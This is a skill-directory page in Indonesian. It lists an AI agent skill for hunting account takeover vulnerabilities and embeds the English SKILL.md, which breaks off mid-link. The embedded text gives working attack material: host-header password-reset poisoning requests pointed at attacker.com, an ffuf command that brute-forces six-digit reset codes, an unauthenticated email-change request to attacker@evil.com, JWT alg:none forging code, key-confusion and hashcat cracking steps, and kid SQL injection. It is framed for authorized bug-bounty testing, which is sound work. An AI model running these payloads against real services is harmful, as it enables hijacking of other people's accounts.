hunt-ato
Fungsinya
Skill ini memeriksa fitur login dan pemulihan akun untuk jalur yang memungkinkan seseorang mengambil alih akun orang lain. Skill ini ditujukan untuk pengujian keamanan yang sudah diizinkan dengan akun uji yang Anda kendalikan.
Kapan dipakai
- βSaat fitur reset kata sandi atau perubahan email masuk dalam cakupan pengujian keamanan.
- βSaat alur penautan akun OAuth atau login sosial perlu diperiksa.
- βSaat Anda ingin memastikan pengambilalihan berhasil pada akun kedua yang Anda kendalikan.
Link skill
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-ato/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda memeriksa apakah alur reset kata sandi kami bisa disalahgunakan untuk mengambil alih akun uji dalam pengujian kami yang sudah diizinkan?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent mencoba beberapa jalur pengambilalihan yang dikenal, seperti memanipulasi tautan reset atau perubahan email, memakai dua akun uji. Agent hanya mengonfirmasi pengambilalihan jika berhasil pada akun kedua.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
13. ATO β ACCOUNT TAKEOVER TAXONOMY
9 distinct paths. ATO is a destination class, not a single bug β each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
email=victimB@company.com
The reset mailer builds the link from the request Host header β link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned β read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
β page loads third-party resource: <script src="https://analytics.com/t.js">
β browser sends Referer: https://target.com/reset-password?token=ABC123
β token exfiltrated to every off-origin host the page calls
Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body β note their absence.
Path 3: Predictable / Weak Reset Tokens
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff β md5(timestamp)/sequential int = predictable
Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected β the impact is token guessing, not request flooding.
Path 4: Token No-Expiry / Reuse / Cross-Account
Expiry: request token β wait 2h β still valid? = bug
Reuse: use token once β use again β still valid? = bug
Multi: request token#1, then token#2 β is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: Email Change Without Re-Auth
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset β reset lands at attacker mailbox β ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change β ATO via missing re-auth.
Path 6: JWT Manipulation
# (a) alg:none β strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 β alg confusion / none bypass), [CVE-2016-10555](https://nvd.nis
Pertanyaan umum
Mengapa dibutuhkan dua akun?
Skill ini menyebutkan pengambilalihan harus ditunjukkan pada akun kedua yang tidak Anda kendalikan, bukan sekadar mengunci akun Anda sendiri.
Jalur apa saja yang dicakup?
Skill ini mencakup sembilan jalur, termasuk peracunan tautan reset, perubahan email tanpa login ulang, CSRF penautan OAuth, dan session fixation.
Apakah ini mencakup bypass multi-faktor?
Skill ini mengarahkan ke skill bypass MFA terpisah untuk bagian itu.
Detail
Deskripsi asli dari pembuat
Hunt account takeover taxonomy β 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details β hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chain
Popularitas
- Bintang GitHub
- 5.4k
- Peringkat
- #14894
- Lisensi
- MIT
- Diperbarui
- 2/11/2026
Komentar
- β¦
Skill lain dari repositori ini
apk-redteam-pipeline
5.4kMembantu agent Anda menguji aplikasi Android untuk kelemahan keamanan, mulai dari mencari file APK dan melakukan dekompilasi hingga memeriksa rahasia yang terekspos.
bugcrowd-reporting
5.4kMembantu agent Anda menulis laporan kerentanan Bugcrowd yang lebih baik, dengan memilih kategori yang tepat dan menjawab keberatan out-of-scope.
cloud-iam-deep
5.4kMembantu agent Anda memeriksa apa yang bisa diakses oleh kredensial cloud yang ditemukan di AWS, Azure, atau Google Cloud, selama pengujian keamanan yang sudah diizinkan.
enterprise-vpn-attack
5.4kMembantu agent Anda memeriksa perangkat VPN dan akses jarak jauh dari Cisco, Fortinet, Citrix, dan lainnya untuk kelemahan yang diketahui selama pengujian yang sudah diizinkan.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.